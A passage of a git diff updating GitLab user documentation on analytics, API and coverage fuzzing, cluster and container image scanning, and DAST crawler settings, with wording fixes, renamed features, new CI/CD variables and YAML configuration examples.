![Metrics for number of days merge requests per number of days](img/productivity_analytics_time_to_merge_v14_4.png)
### Trendline
-The **Trendline** scatterplot shows all merge requests on a certain date,
+The **Trendline** scatterplot shows all merge requests on a certain date,
and the days it took to complete the action and a 30 day rolling median. Select the dropdown to view:
- Time from first commit to first comment.
@@ -55,15 +55,15 @@ and the days it took to complete the action and a 30 day rolling median. Select
### Commits and merge request size
-Under the **Trendline** scatterplot, the left-side histogram shows
-the time taken (in hours) between commits and comments until the merge
+Under the **Trendline** scatterplot, the left-side histogram shows
+the time taken (in hours) between commits and comments until the merge
request is merged. Select the dropdown to view:
- Time from first commit to first comment.
- Time from first comment until last commit.
- Time from last commit to merge.
-The right-side histogram shows the size or complexity of a merge request.
+The right-side histogram shows the size or complexity of a merge request.
Select the dropdown to view:
- Number of commits per merge request.
@@ -74,7 +74,7 @@ Select the dropdown to view:
### Merge request list
-The **List** table shows a list of merge requests with their respective time duration metrics.
+The **List** table shows a list of merge requests with their respective time duration metrics.
Sort metrics by:
@@ -83,7 +83,7 @@ Sort metrics by:
- Time from last commit to merge.
Filter metrics by:
-
+
- Number of commits per merge request.
- Number of lines of code per commit.
- Number of files touched.
diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md
index 9c1a8893f95..cb6b2e49f60 100644
--- a/doc/user/analytics/value_stream_analytics.md
+++ b/doc/user/analytics/value_stream_analytics.md
@@ -102,6 +102,20 @@ The **Time** metrics near the top of the page are measured as follows:
- **Lead time**: Median time from issue created to issue closed.
- **Cycle time**: Median time from first commit to issue closed. (You can associate a commit with an issue by [crosslinking in the commit message](../project/issues/crosslinking_issues.md#from-commit-messages).)
+- **Lead Time for Changes**: median duration between merge request merge and deployment to a production environment for all MRs deployed in the given time period. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/340150) in GitLab 14.5 (Ultimate only).
+
+## Deployment metrics (**PREMIUM**)
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/337256) in GitLab 11.3.
+
+Value Stream Analytics exposes two deployment related metrics near the top of the page:
+
+- **Deploys:** The number of successful deployments in the date range.
+- **Deployment Frequency:** The average number of successful deployments.
+
+The deployment metrics calculation uses the same method as the
+[group-level Value Stream Analytics](../group/value_stream_analytics/index.md#how-metrics-are-measured).
+Both of them are based on the [DORA API](../../api/dora/metrics.md#devops-research-and-assessment-dora-key-metrics-api).
## How the stages are measured
diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md
index 5cef0040ac3..a0f14ea59a1 100644
--- a/doc/user/application_security/api_fuzzing/index.md
+++ b/doc/user/application_security/api_fuzzing/index.md
@@ -12,6 +12,10 @@ parameters to unexpected values in an effort to cause unexpected behavior and er
backend. This helps you discover bugs and potential security issues that other QA processes may
miss.
+INFO:
+Try fuzz testing in GitLab Ultimate.
+[It's free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-api-fuzzing-docs).
+
We recommend that you use fuzz testing in addition to [GitLab Secure](../index.md)'s
other security scanners and your own test processes. If you're using [GitLab CI/CD](../../../ci/index.md),
you can run fuzz tests as part your CI/CD workflow.
@@ -1181,7 +1185,7 @@ A bug exists in versions of the API Fuzzing analyzer prior to v1.6.196 that can
The version information can be found in the job details for the `apifuzzer_fuzz` job.
-If the issue is occuring with versions v1.6.196 or greater, please contact Support and provide the following information:
+If the issue is occurring with versions v1.6.196 or greater, please contact Support and provide the following information:
1. Reference this troubleshooting section and ask for the issue to be escalated to the Dynamic Analysis Team.
1. The full console output of the job.
@@ -1289,6 +1293,25 @@ The API Fuzzing template supports launching a docker container containing an API
TODO
-->
+## Get support or request an improvement
+
+To get support for your particular problem please use the [getting help channels](https://about.gitlab.com/get-help/).
+
+The [GitLab issue tracker on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues) is the right place for bugs and feature proposals about API Security and API Fuzzing.
+Please use `~"Category:API Security"` [label](../../../development/contributing/issue_workflow.md#labels) when opening a new issue regarding API fuzzing to ensure it is quickly reviewed by the right people. Please refer to our [review response SLO](../../../development/code_review.md#review-response-slo) to understand when you should receive a response.
+
+[Search the issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues) for similar entries before submitting your own, there's a good chance somebody else had the same issue or feature proposal. Show your support with an award emoji and or join the discussion.
+
+When experiencing a behavior not working as expected, consider providing contextual information:
+
+- GitLab version if using a self-managed instance.
+- `.gitlab-ci.yml` job definition.
+- Full job console output.
+- Scanner log file available as a job artifact named `gl-api-security-scanner.log`.
+
+WARNING:
+**Sanitize data attached to a support issue**. Please remove sensitive information, including: credentials, passwords, tokens, keys, and secrets.
+
## Glossary
- Assert: Assertions are detection modules used by checks to trigger a fault. Many assertions have
diff --git a/doc/user/application_security/cluster_image_scanning/index.md b/doc/user/application_security/cluster_image_scanning/index.md
index 790b428bac9..c3a2c179590 100644
--- a/doc/user/application_security/cluster_image_scanning/index.md
+++ b/doc/user/application_security/cluster_image_scanning/index.md
@@ -29,7 +29,7 @@ To integrate GitLab with security scanners other than those listed here, see
You can use cluster image scanning through the following methods:
- [The cluster image scanning analyzer](#use-the-cluster-image-scanning-analyzer)
-- [The GitLab Kubernetes agent](#cluster-image-scanning-with-the-gitlab-kubernetes-agent)
+- [The GitLab Agent](#cluster-image-scanning-with-the-gitlab-agent)
## Use the cluster image scanning analyzer
@@ -153,7 +153,7 @@ The included template:
fetches vulnerabilities found by [Starboard Operator](https://aquasecurity.github.io/starboard/v0.10.3/operator/).
GitLab saves the results as a
-[Cluster Image Scanning report artifact](../../../ci/yaml/index.md#artifactsreportscluster_image_scanning)
+[Cluster Image Scanning report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportscluster_image_scanning)
that you can download and analyze later. When downloading, you always receive the most recent
artifact.
@@ -177,6 +177,7 @@ You can [configure](#customize-the-cluster-image-scanning-settings) analyzers by
| `CIS_RESOURCE_NAMESPACE` | `""` | Namespace of the Kubernetes resource you want to filter vulnerabilities for. For example, `production`. |
| `CIS_RESOURCE_KIND` | `""` | Kind of the Kubernetes resource you want to filter vulnerabilities for. For example, `deployment`. |
| `CIS_CLUSTER_IDENTIFIER` | `""` | ID of the Kubernetes cluster integrated with GitLab. This is used to map vulnerabilities to the cluster so they can be filtered in the Vulnerability Report page. |
+| `CIS_CLUSTER_AGENT_IDENTIFIER` | `""` | ID of the Kubernetes cluster agent integrated with GitLab. This maps vulnerabilities to the agent so they can be filtered in the Vulnerability Report page. |
#### Override the cluster image scanning template
@@ -274,26 +275,22 @@ Here's an example cluster image scanning report:
}
```
-## Cluster image scanning with the GitLab Kubernetes Agent
+## Cluster image scanning with the GitLab Agent
-You can use the [GitLab Kubernetes Agent](../../clusters/agent/index.md) to
+You can use the [GitLab Agent](../../clusters/agent/index.md) to
scan images from within your Kubernetes cluster and record the vulnerabilities in GitLab.
### Prerequisites
- [Starboard Operator](https://aquasecurity.github.io/starboard/v0.10.3/operator/installation/kubectl/)
installed and configured in your cluster.
-- [GitLab Kubernetes Agent](../../clusters/agent/install/index.md)
+- [GitLab Agent](../../clusters/agent/install/index.md)
set up in GitLab, installed in your cluster, and configured using a configuration repository.
### Configuration
-The GitLab Kubernetes agent begins to run cluster image scanning once the `cluster_image_scanning`
-directive is added to your Kubernetes Agent configuration repository.
-
-See the [Kubernetes agent configuration repository](../../clusters/agent/repository.md#scan-your-container-images-for-vulnerabilities)
-reference to learn more about the cluster image scanning configuration options for the
-GitLab Kubernetes agent.
+The Agent runs the cluster image scanning once the `cluster_image_scanning`
+directive is added to your [Agent's configuration repository](../../clusters/agent/repository.md#scan-your-container-images-for-vulnerabilities).
## Security Dashboard
diff --git a/doc/user/application_security/configuration/index.md b/doc/user/application_security/configuration/index.md
index a913d5fba92..cdcd334dba6 100644
--- a/doc/user/application_security/configuration/index.md
+++ b/doc/user/application_security/configuration/index.md
@@ -46,14 +46,14 @@ You can configure the following security controls:
- Select **Manage scans** to manage the saved DAST scans, site profiles, and scanner profiles.
For more details, read [DAST on-demand scans](../dast/index.md#on-demand-scans).
- [Dependency Scanning](../dependency_scanning/index.md)
- - Select **Configure via Merge Request** to create a merge request with the changes required to
+ - Select **Configure with a merge request** to create a merge request with the changes required to
enable Dependency Scanning. For more details, see [Enable Dependency Scanning via an automatic merge request](../dependency_scanning/index.md#enable-dependency-scanning-via-an-automatic-merge-request).
- [Container Scanning](../container_scanning/index.md)
- Can be configured with `.gitlab-ci.yml`. For more details, read [Container Scanning](../../../user/application_security/container_scanning/index.md#configuration).
- [Cluster Image Scanning](../cluster_image_scanning/index.md)
- Can be configured with `.gitlab-ci.yml`. For more details, read [Cluster Image Scanning](../../../user/application_security/cluster_image_scanning/#configuration).
- [Secret Detection](../secret_detection/index.md)
- - Select **Configure via Merge Request** to create a merge request with the changes required to
+ - Select **Configure with a merge request** to create a merge request with the changes required to
enable Secret Detection. For more details, read [Enable Secret Detection via an automatic merge request](../secret_detection/index.md#enable-secret-detection-via-an-automatic-merge-request).
- [API Fuzzing](../api_fuzzing/index.md)
- Select **Enable API Fuzzing** to use API Fuzzing for the current project. For more details, read [API Fuzzing](../../../user/application_security/api_fuzzing/index.md#enable-web-api-fuzzing).
diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md
index da2816ab6ed..bea9284873c 100644
--- a/doc/user/application_security/container_scanning/index.md
+++ b/doc/user/application_security/container_scanning/index.md
@@ -9,11 +9,27 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3672) in GitLab 10.4.
+INFO:
+Try out Container Scanning in GitLab Ultimate.
+[It's free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-container-scanning-docs).
+
Your application's Docker image may itself be based on Docker images that contain known
-vulnerabilities. By including an extra job in your pipeline that scans for those vulnerabilities and
-displays them in a merge request, you can use GitLab to audit your Docker-based apps.
+vulnerabilities. By including an extra Container Scanning job in your pipeline that scans for those
+vulnerabilities and displays them in a merge request, you can use GitLab to audit your Docker-based
+apps.
+
+Container Scanning is often considered part of Software Composition Analysis (SCA). SCA can contain
+aspects of inspecting the items your code uses. These items typically include application and system
+dependencies that are almost always imported from external sources, rather than sourced from items
+you wrote yourself.
+
+GitLab offers both Container Scanning and [Dependency Scanning](../dependency_scanning/)
+to ensure coverage for all of these dependency types. To cover as much of your risk area as
+possible, we encourage you to use all of our security scanners.
-GitLab provides integration with open-source tools for vulnerability static analysis in containers:
+## Overview
+
+GitLab integrates with open-source tools for vulnerability static analysis in containers:
- [Trivy](https://github.com/aquasecurity/trivy)
- [Grype](https://github.com/anchore/grype)
@@ -43,19 +59,9 @@ To enable container scanning in your pipeline, you need the following:
- An image matching the [supported distributions](#supported-distributions).
- [Build and push](../../packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd)
the Docker image to your project's container registry.
-- The name of the Docker image to scan, in the `DOCKER_IMAGE` [configuration variable](#available-cicd-variables).
- If you're using a third-party container registry, you might need to provide authentication
credentials through the `DOCKER_USER` and `DOCKER_PASSWORD` [configuration variables](#available-cicd-variables).
- For example, if you are connecting to AWS ECR, you might use the following:
-
-```yaml
-export AWS_ECR_PASSWORD=$(aws ecr get-login-password --region region)
-
-include:
- - template: Security/Container-Scanning.gitlab-ci.yml
- DOCKER_USER: AWS
- DOCKER_PASSWORD: "$AWS_ECR_PASSWORD"
-```
+ For more details on how to use these variables, see [authenticate to a remote registry](#authenticate-to-a-remote-registry).
## Configuration
@@ -75,31 +81,29 @@ The included template:
(see [requirements](#requirements)) and scans it for possible vulnerabilities.
GitLab saves the results as a
-[Container Scanning report artifact](../../../ci/yaml/index.md#artifactsreportscontainer_scanning)
+[Container Scanning report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportscontainer_scanning)
that you can download and analyze later. When downloading, you always receive the most-recent
-artifact.
+artifact. If [dependency scan is enabled](#dependency-list),
+a [Dependency Scanning report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportsdependency_scanning)
+is also created.
The following is a sample `.gitlab-ci.yml` that builds your Docker image, pushes it to the container
registry, and scans the image:
```yaml
-build:
- image: docker:latest
- stage: build
- services:
- - docker:dind
- variables:
- IMAGE: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA
- script:
- - docker info
- - docker login -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD" $CI_REGISTRY
- - docker build -t $IMAGE .
- - docker push $IMAGE
-
include:
+ - template: Jobs/Build.gitlab-ci.yml
- template: Security/Container-Scanning.gitlab-ci.yml
+
+container_scanning:
+ variables:
+ CS_DEFAULT_BRANCH_IMAGE: $CI_REGISTRY_IMAGE/$CI_DEFAULT_BRANCH:$CI_COMMIT_SHA
```
+Setting `CS_DEFAULT_BRANCH_IMAGE` avoids duplicate vulnerability findings when an image name differs across branches.
+The value of `CS_DEFAULT_BRANCH_IMAGE` indicates the name of the scanned image as it appears on the default branch.
+For more details on how this deduplication is achieved, see [Setting the default branch image](#setting-the-default-branch-image).
+
### Customizing the container scanning settings
There may be cases where you want to customize how GitLab scans your containers. For example, you
@@ -120,6 +124,92 @@ variables:
SECURE_LOG_LEVEL: 'debug'
```
+#### Scan an image in a remote registry
+
+To scan images located in a registry other than the project's, use the following `.gitlab-ci.yml`:
+
+```yaml
+include:
+ - template: Security/Container-Scanning.gitlab-ci.yml
+
+container_scanning:
+ variables:
+ DOCKER_IMAGE: example.com/user/image:tag
+```
+
+##### Authenticate to a remote registry
+
+Scanning an image in a private registry requires authentication. Provide the username in the `DOCKER_USER`
+variable, and the password in the `DOCKER_PASSWORD` configuration variable.
+
+For example, to scan an image from AWS Elastic Container Registry:
+
+```yaml
+container_scanning:
+ before_script:
+ - curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" --output "awscliv2.zip"
+ - unzip awscliv2.zip
+ - ./aws/install
+ - aws --version
+ - export AWS_ECR_PASSWORD=$(aws ecr get-login-password --region region)
+
+include:
+ - template: Security/Container-Scanning.gitlab-ci.yml
+ DOCKER_IMAGE: <aws_account_id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag>
+ DOCKER_USER: AWS
+ DOCKER_PASSWORD: "$AWS_ECR_PASSWORD"
+```
+
+#### Dependency list
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345434) in GitLab 14.6.
+
+The `CS_DISABLE_DEPENDENCY_LIST` CI/CD variable controls whether the scan creates a
+[Dependency List](../dependency_list/)
+report. The variable's default setting of `false` causes the scan to create the report. To disable
+the report, set the variable to `true`:
+
+For example:
+
+```yaml
+include:
+ - template: Security/Container-Scanning.gitlab-ci.yml
+
+container_scanning:
+ variables:
+ CS_DISABLE_DEPENDENCY_LIST: "true"
+```
+
+#### Report language-specific findings
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/7277) in GitLab 14.6.
+
+The `CS_DISABLE_LANGUAGE_VULNERABILITY_SCAN` CI/CD variable controls whether the scan reports
+findings related to programming languages. The languages supported depend on the
+[scanner used](#change-scanners):
+
+- [Trivy](https://aquasecurity.github.io/trivy/latest/vulnerability/detection/language/).
+- [Grype](https://github.com/anchore/grype#features).
+
+By default, the report only includes packages managed by the Operating System (OS) package manager
+(for example, `yum`, `apt`, `apk`, `tdnf`). To report security findings in non-OS packages, set
+`CS_DISABLE_LANGUAGE_VULNERABILITY_SCAN` to `"false"`:
+
+```yaml
+include:
+ - template: Security/Container-Scanning.gitlab-ci.yml
+
+container_scanning:
+ variables:
+ CS_DISABLE_LANGUAGE_VULNERABILITY_SCAN: "false"
+```
+
+When you enable this feature, you may see [duplicate findings](../terminology/#duplicate-finding)
+in the [Vulnerability Report](../vulnerability_report/)
+if [Dependency Scanning](../dependency_scanning/)
+is enabled for your project. This happens because GitLab can't automatically deduplicate the
+findings reported by the two different analyzers.
+
#### Available CI/CD variables
You can [configure](#customizing-the-container-scanning-settings) analyzers by using the following CI/CD variables:
@@ -130,6 +220,9 @@ You can [configure](#customizing-the-container-scanning-settings) analyzers by u
| `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. | All |
| `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. | All |
| `CS_ANALYZER_IMAGE` | `registry.gitlab.com/security-products/container-scanning:4` | Docker image of the analyzer. | All |
+| `CS_DEFAULT_BRANCH_IMAGE` | `""` | The name of the `DOCKER_IMAGE` on the default branch. See [Setting the default branch image](#setting-the-default-branch-image) for more details. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/338877) in GitLab 14.5. | All |
+| `CS_DISABLE_DEPENDENCY_LIST` | `"false"` | Disable Dependency Scanning for packages installed in the scanned image. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345434) in GitLab 14.6. | All |
+| `CS_DISABLE_LANGUAGE_VULNERABILITY_SCAN` | `"true"` | Disable scanning for language-specific packages installed in the scanned image. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345434) in GitLab 14.6. | All |
| `CS_DOCKER_INSECURE` | `"false"` | Allow access to secure Docker registries using HTTPS without validating the certificates. | All |
| `CS_REGISTRY_INSECURE` | `"false"` | Allow access to insecure registries (HTTP only). Should only be set to `true` when testing the image locally. Works with all scanners, but the registry must listen on port `80/tcp` for Trivy to work. | All |
| `CS_SEVERITY_THRESHOLD` | `UNKNOWN` | Severity level threshold. The scanner outputs vulnerabilities with severity level higher than or equal to this threshold. Supported levels are Unknown, Low, Medium, High, and Critical. | Trivy |
@@ -225,6 +318,51 @@ Prior to the GitLab 14.0 release, any variable defined under the scope `containe
considered for scanners other than Clair. In GitLab 14.0 and later, all variables can be defined
either as a global variable or under `container_scanning`.
+### Setting the default branch image
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/338877) in GitLab 14.5.
+
+By default, container scanning assumes that the image naming convention stores any branch-specific
+identifiers in the image tag rather than the image name. When the image name differs between the
+default branch and the non-default branch, previously-detected vulnerabilities show up as newly
+detected in merge requests.
+
+When the same image has different names on the default branch and a non-default branch, you can use
+the `CS_DEFAULT_BRANCH_IMAGE` variable to indicate what that image's name is on the default branch.
+GitLab then correctly determines if a vulnerability already exists when running scans on non-default
+branches.
+
+As an example, suppose the following:
+
+- Non-default branches publish images with the naming convention
+ `$CI_REGISTRY_IMAGE/$CI_COMMIT_BRANCH:$CI_COMMIT_SHA`.
+- The default branch publishes images with the naming convention
+ `$CI_REGISTRY_IMAGE:$CI_COMMIT_SHA`.
+
+In this example, you can use the following CI/CD configuration to ensure that vulnerabilities aren't
+duplicated:
+
+```yaml
+include:
+ - template: Security/Container-Scanning.gitlab-ci.yml
+
+container_scanning:
+ variables:
+ CS_DEFAULT_BRANCH_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
+ before_script:
+ - export DOCKER_IMAGE="$CI_REGISTRY_IMAGE/$CI_COMMIT_BRANCH:$CI_COMMIT_SHA"
+ - |
+ if [ "$CI_COMMIT_BRANCH" == "$CI_DEFAULT_BRANCH" ]; then
+ export DOCKER_IMAGE="$CI_REGISTRY_IMAGE:$CI_COMMIT_SHA"
+ fi
+```
+
+`CS_DEFAULT_BRANCH_IMAGE` should remain the same for a given `DOCKER_IMAGE`. If it changes, then a
+duplicate set of vulnerabilities are created, which must be manually dismissed.
+
+When using [Auto DevOps](../../../topics/autodevops/index.md), `CS_DEFAULT_BRANCH_IMAGE` is
+automatically set to `$CI_REGISTRY_IMAGE/$CI_DEFAULT_BRANCH:$CI_APPLICATION_TAG`.
+
### Using a custom SSL CA certificate authority
You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority, which is used to verify the peer when fetching Docker images from a registry which uses HTTPS. The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the [text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1). For example, to configure this value in the `.gitlab-ci.yml` file, use the following:
@@ -496,7 +634,7 @@ Here's an example container scanning report:
```json-doc
{
- "version": "3.0.0",
+ "version": "14.0.0",
"vulnerabilities": [
{
"id": "df52bc8ce9a2ae56bbcb0c4ecda62123fbd6f69b",
@@ -518,7 +656,8 @@ Here's an example container scanning report:
"version": "1.4.8"
},
"operating_system": "debian:9.4",
- "image": "registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256:bc09fe2e0721dfaeee79364115aeedf2174cce0947b9ae5fe7c33312ee019a4e"
+ "image": "registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256:bc09fe2e0721dfaeee79364115aeedf2174cce0947b9ae5fe7c33312ee019a4e",
+ "default_branch_image": "registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0:latest"
},
"identifiers": [
{
diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md
index 9bb13d26d90..b35c2ed79cf 100644
--- a/doc/user/application_security/coverage_fuzzing/index.md
+++ b/doc/user/application_security/coverage_fuzzing/index.md
@@ -213,7 +213,7 @@ is a good way to balance the needs of letting a developer's per-commit pipeline
and also giving the fuzzer a large amount of time to fully explore and test the app.
Long-running fuzzing jobs are usually necessary for the coverage guided fuzzer to find deeper bugs
-in your latest codebase. THe following is an example of what `.gitlab-ci.yml` looks like in this
+in your latest codebase. The following is an example of what `.gitlab-ci.yml` looks like in this
workflow (for the full example, see the [repository](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/-/tree/continuous_fuzzing)):
```yaml
diff --git a/doc/user/application_security/dast/browser_based.md b/doc/user/application_security/dast/browser_based.md
index 10ca3430b48..5d1e57553f4 100644
--- a/doc/user/application_security/dast/browser_based.md
+++ b/doc/user/application_security/dast/browser_based.md
@@ -61,14 +61,15 @@ The browser-based crawler can be configured using CI/CD variables.
| `DAST_BROWSER_NUMBER_OF_BROWSERS` | number | `3` | The maximum number of concurrent browser instances to use. For shared runners on GitLab.com, we recommended a maximum of three. Private runners with more resources may benefit from a higher number, but are likely to produce little benefit after five to seven instances. |
| `DAST_BROWSER_COOKIES` | dictionary | `abtesting_group:3,region:locked` | A cookie name and value to be added to every request. |
| `DAST_BROWSER_LOG` | List of strings | `brows:debug,auth:debug` | A list of modules and their intended log level. |
-| `DAST_BROWSER_NAVIGATION_TIMEOUT` | [Duration string](https://golang.org/pkg/time/#ParseDuration) | `15s` | The maximum amount of time to wait for a browser to navigate from one page to another. |
-| `DAST_BROWSER_ACTION_TIMEOUT` | [Duration string](https://golang.org/pkg/time/#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to complete an action. |
-| `DAST_BROWSER_STABILITY_TIMEOUT` | [Duration string](https://golang.org/pkg/time/#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis. |
-| `DAST_BROWSER_NAVIGATION_STABILITY_TIMEOUT` | [Duration string](https://golang.org/pkg/time/#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis after a navigation completes. |
-| `DAST_BROWSER_ACTION_STABILITY_TIMEOUT` | [Duration string](https://golang.org/pkg/time/#ParseDuration) | `800ms` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis after completing an action. |
-| `DAST_BROWSER_SEARCH_ELEMENT_TIMEOUT` | [Duration string](https://golang.org/pkg/time/#ParseDuration) | `3s` | The maximum amount of time to allow the browser to search for new elements or navigations. |
-| `DAST_BROWSER_EXTRACT_ELEMENT_TIMEOUT` | [Duration string](https://golang.org/pkg/time/#ParseDuration) | `5s` | The maximum amount of time to allow the browser to extract newly found elements or navigations. |
-| `DAST_BROWSER_ELEMENT_TIMEOUT` | [Duration string](https://golang.org/pkg/time/#ParseDuration) | `600ms` | The maximum amount of time to wait for an element before determining it is ready for analysis. |
+| `DAST_BROWSER_NAVIGATION_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `15s` | The maximum amount of time to wait for a browser to navigate from one page to another. |
+| `DAST_BROWSER_ACTION_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to complete an action. |
+| `DAST_BROWSER_STABILITY_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis. |
+| `DAST_BROWSER_NAVIGATION_STABILITY_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis after a navigation completes. |
+| `DAST_BROWSER_ACTION_STABILITY_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `800ms` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis after completing an action. |
+| `DAST_BROWSER_SEARCH_ELEMENT_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `3s` | The maximum amount of time to allow the browser to search for new elements or navigations. |
+| `DAST_BROWSER_EXTRACT_ELEMENT_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `5s` | The maximum amount of time to allow the browser to extract newly found elements or navigations. |
+| `DAST_BROWSER_ELEMENT_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `600ms` | The maximum amount of time to wait for an element before determining it is ready for analysis. |
+| `DAST_BROWSER_PAGE_READY_SELECTOR` | selector | `css:#page-is-ready` | Selector that when detected as visible on the page, indicates to the analyzer that the page has finished loading and the scan can continue. Note: When this selector is set, but the element is not found, the scanner waits for the period defined in `DAST_BROWSER_STABILITY_TIMEOUT` before continuing the scan. This can significantly increase scanning time if the element is not present on multiple pages within the site. |
The [DAST variables](index.md#available-cicd-variables) `SECURE_ANALYZERS_PREFIX`, `DAST_FULL_SCAN_ENABLED`, `DAST_AUTO_UPDATE_ADDONS`, `DAST_EXCLUDE_RULES`, `DAST_REQUEST_HEADERS`, `DAST_HTML_REPORT`, `DAST_MARKDOWN_REPORT`, `DAST_XML_REPORT`,
`DAST_AUTH_URL`, `DAST_USERNAME`, `DAST_PASSWORD`, `DAST_USERNAME_FIELD`, `DAST_PASSWORD_FIELD`, `DAST_FIRST_SUBMIT_FIELD`, `DAST_SUBMIT_FIELD`, `DAST_EXCLUDE_URLS`, `DAST_AUTH_VERIFICATION_URL`, `DAST_BROWSER_AUTH_VERIFICATION_SELECTOR`, `DAST_BROWSER_AUTH_VERIFICATION_LOGIN_FORM`, `DAST_BROWSER_AUTH_REPORT`,
@@ -99,7 +100,7 @@ You can manage the trade-off between coverage and scan time with the following m
Due to poor network conditions or heavy application load, the default timeouts may not be applicable to your application.
-Browser-based scans offer the ability to adjust various timeouts to ensure it continues smoothly as it transitions from one page to the next. These values are configured using a [Duration string](https://golang.org/pkg/time/#ParseDuration), which allow you to configure durations with a prefix: `m` for minutes, `s` for seconds, and `ms` for milliseconds.
+Browser-based scans offer the ability to adjust various timeouts to ensure it continues smoothly as it transitions from one page to the next. These values are configured using a [Duration string](https://pkg.go.dev/time#ParseDuration), which allow you to configure durations with a prefix: `m` for minutes, `s` for seconds, and `ms` for milliseconds.
Navigations, or the act of loading a new page, usually require the most amount of time because they are
loading multiple new resources such as JavaScript or CSS files. Depending on the size of these resources, or the speed at which they are returned, the default `DAST_BROWSER_NAVIGATION_TIMEOUT` may not be sufficient.
diff --git a/doc/user/application_security/dast/checks/1004.1.md b/doc/user/application_security/dast/checks/1004.1.md
index cbbcea1d34d..dfbc600b05b 100644
--- a/doc/user/application_security/dast/checks/1004.1.md
+++ b/doc/user/application_security/dast/checks/1004.1.md
@@ -36,6 +36,6 @@ Set-Cookie: {cookie_name}=<random secure value>; HttpOnly
## Links
-- [owasp](https://owasp.org/www-community/HttpOnly)
-- [cwe](https://cwe.mitre.org/data/definitions/1004.html)
+- [OWASP](https://owasp.org/www-community/HttpOnly)
+- [CWE](https://cwe.mitre.org/data/definitions/1004.html)
- [Mozilla MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies)
diff --git a/doc/user/application_security/dast/checks/16.1.md b/doc/user/application_security/dast/checks/16.1.md
index bb030d2f9c4..157b2b96ed4 100644
--- a/doc/user/application_security/dast/checks/16.1.md
+++ b/doc/user/application_security/dast/checks/16.1.md
@@ -29,5 +29,5 @@ header to disable user agents from mis-interpreting resources.
## Links
-- [cwe](https://cwe.mitre.org/data/definitions/16.html)
+- [CWE](https://cwe.mitre.org/data/definitions/16.html)
- [Mozilla Blog on MIME Confusion attacks](https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/)
diff --git a/doc/user/application_security/dast/checks/16.3.md b/doc/user/application_security/dast/checks/16.3.md
index e4dcf3ece4b..6f80a2a32c6 100644
--- a/doc/user/application_security/dast/checks/16.3.md
+++ b/doc/user/application_security/dast/checks/16.3.md
@@ -31,5 +31,5 @@ information from the `X-Powered-By` header.
## Links
-- [cwe](https://cwe.mitre.org/data/definitions/16.html)
-- [PHP expose_php](https://www.php.net/manual/en/ini.core.php#ini.expose-php)
+- [CWE](https://cwe.mitre.org/data/definitions/16.html)
+- [PHP `expose_php`](https://www.php.net/manual/en/ini.core.php#ini.expose-php)
diff --git a/doc/user/application_security/dast/checks/16.4.md b/doc/user/application_security/dast/checks/16.4.md
index c0161c910b0..1f72a80cb29 100644
--- a/doc/user/application_security/dast/checks/16.4.md
+++ b/doc/user/application_security/dast/checks/16.4.md
@@ -25,4 +25,4 @@ Consult your proxy/load balancer documentation or provider on how to disable rev
## Links
-- [cwe](https://cwe.mitre.org/data/definitions/16.html)
